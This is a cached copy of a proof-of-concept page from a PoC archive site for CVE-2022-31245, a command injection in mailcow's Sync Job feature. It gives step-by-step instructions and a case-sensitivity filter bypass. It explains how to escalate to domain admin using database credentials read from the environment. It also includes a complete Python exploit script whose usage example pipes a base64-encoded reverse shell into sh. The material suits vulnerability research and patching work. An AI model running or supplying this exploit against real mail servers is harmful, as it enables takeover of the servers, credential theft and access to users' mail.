Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-31245 PoC — mailcow 操作系统命令注入漏洞

Source
Associated Vulnerability
Title:mailcow 操作系统命令注入漏洞 (CVE-2022-31245)
Description:mailcow是一个邮件服务器套件。 mailcow 2022-05d 之前版本存在安全漏洞,远程经过身份验证的攻击者利用该漏洞可以注入操作系统命令并将权限提升到域管理员。
Description
CVE-2022-31245: RCE and domain admin privilege escalation for Mailcow
Readme
# Mailcow CVE-2022-31245
CVE-2022-31245: RCE and Domain Admin privilege escalation for Mailcow. Including POC.</br>

Reported and fixed: 2022-05

Patched Version: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d </br>
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31245

## CVE-2022-31245: Command Injection, RCE
Severity: 3/3 </br>
Type: Command Injection, RCE, Domain Takeover </br>
Affected versions: least 2019 - 2022-05c </br>

A flaw exists in all recent Mailcow versions where a regular user of the system can exploit the “Sync Job” feature to gain a shell using a command injection in imapsync. Using this vunerability a attacker can then easily pivot to the database and escalate privileges to the role of “Domain Admin” in Mailcow.

This exploit includes persistence by default since Sync Jobs run on a timer.

This exploit compromises the entire Mailcow instance. Tested and working on release as of 2022-05c. Patched in 2022-05d.


### Technical overview
Using the steps below the vulnerability can be recreated.

Gaining shell:
1. Go to the Mailcow login page (not SOGo)
2. Login as a regular user
3. Go to Sync Jobs
4. Set the following values: `hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --PIPEMESS=CMD`
Where the field "Custom Parameters" is the important field. CMD can be a arbitrary shell command without spaces. Using uppercase is important!
5. Press save and wait 1 min for the command to execute.

Custom Parameters example payload:
```
--debug --nosslcheck --PIPEMESS=touch${IFS}test.txt
```
CMD cannot contain space,quotes or slashes use ${IFS} instead of space. Uppercase for `--PIPEMESS` is important to bypass check in `functions.mailbox.inc.php` at line `340`:

```c
if (strpos($custom_params, 'pipemess')) {
	$custom_params = '';
}
```
This uppercase command still works due to the fact that `imapsync` is case insensitive.

Privilege Escalation:
1. After gaining shell on the dovcot container run `env`
2. Find `DBUSER` and `DBPASS`
3. Login to database using `mysql` and credentials
4. Create new admin user or create a new admin API-key


### Proof-of-Concept, POC
Automated POC. POC could in some cases need modification to run against non-local Mailcow instances.
```python
#!/bin/python3

description = """

Mailcow authenticated RCE. Only for educational purposes!!
By: ly1g3[at]tuta.io

This exploit can be used to get mailcow domain admin using mysql credentials found in "env" after getting shell.
Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended.
Example reverse shell use: --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;' where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell.


Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user test@local.com --passwd testpass --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;'

"""


import requests
import urllib
import sys
from urllib.parse import urlparse
import argparse
from argparse import RawTextHelpFormatter
from datetime import datetime


parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
parser.add_argument('--url', help='Url to the mailcow server', required=True)
parser.add_argument('--user', help='Mailcow username, example test@mailcow.com', required=True)
parser.add_argument('--passwd', help='Mailcow user password', required=True)
parser.add_argument('--cmd', help='Command to execute', required=True)

args = parser.parse_args()


base_url = args.url
# hostname = urlparse(base_url).netloc
hostname = '127.0.0.1'
user = args.user
password = args.passwd
cmd = args.cmd


# Get the required csrf token
def find_csrf_token(text):
    try:
        start1 = text.index("var csrf_token")
        start2 = text.index("'", start1)
        end2 = text.index("'", start2+1)
        csrf_token = text[start2+1:end2]
        return csrf_token
    except:
        return ""

login_url = base_url + '/'

s = requests.Session()

# Login
r1 = s.post(login_url, data={'login_user': user, 'pass_user': password}, verify=False)

token = find_csrf_token(r1.text)
if not token:
    print("Error no token found, login problems?")
    sys.exit(0)
print(f"CSRF token: {token}")


sync_url = base_url + '/api/v1/add/syncjob'

# Create sync job with command injection
attr = f'{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"--debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}'
r2 = s.post(sync_url, data={'attr': attr, 'csrf_token': token}, verify=False)

c = r2.content
if c.find(b"mailbox_modified") != -1:
    print("Success, rule modified")
elif c.find(b"object_exists") != -1:
    print("ERROR: Object exists, remove existing rule before running this")
    print(c)
    sys.exit(0)
else:
    print("ERROR: Something went wrong")
    print(c)
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("Command may take 1min to execute...")
print(f"Done at: {current_time}")

File Snapshot

[4.0K] /data/pocs/d28c40a993779754265aa758187f7fb388f0275b └── [5.2K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.